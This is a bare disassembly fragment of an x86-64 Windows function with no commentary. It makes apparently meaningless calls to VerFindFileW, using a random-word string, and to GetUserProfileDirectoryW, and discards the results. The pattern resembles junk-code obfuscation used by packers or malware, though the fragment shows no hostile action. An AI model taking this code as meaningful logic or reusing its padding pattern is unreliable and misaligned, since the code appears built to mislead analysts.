lea rax, [rsp + 0x4aa8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x4aa8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x126]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1ea20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4ab8]
mov r8, qword [rsp + 0x4e90]
lea rdx, str.trueblueQuestionersPiercedpreferdisputable
mov ecx, 0x65
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x27c0], eax
mov r9d, dword [rsp + 0x2798]
movzx r8d, word [rsp + 0x930]
mov dx, 0x17
mov cx, 0x79
call fcn.140148540
nop
mov eax, dword [0x140168a78]
and eax, 0x6767f29b
mov dword [0x140168a78], eax
lea r8, [rsp + 0x4c48]
mov rdx, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4c48]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x279c], eax
mov eax, dword [rsp + 0x347c]
add rsp, 0x1ef58
pop rdi
pop rsi
ret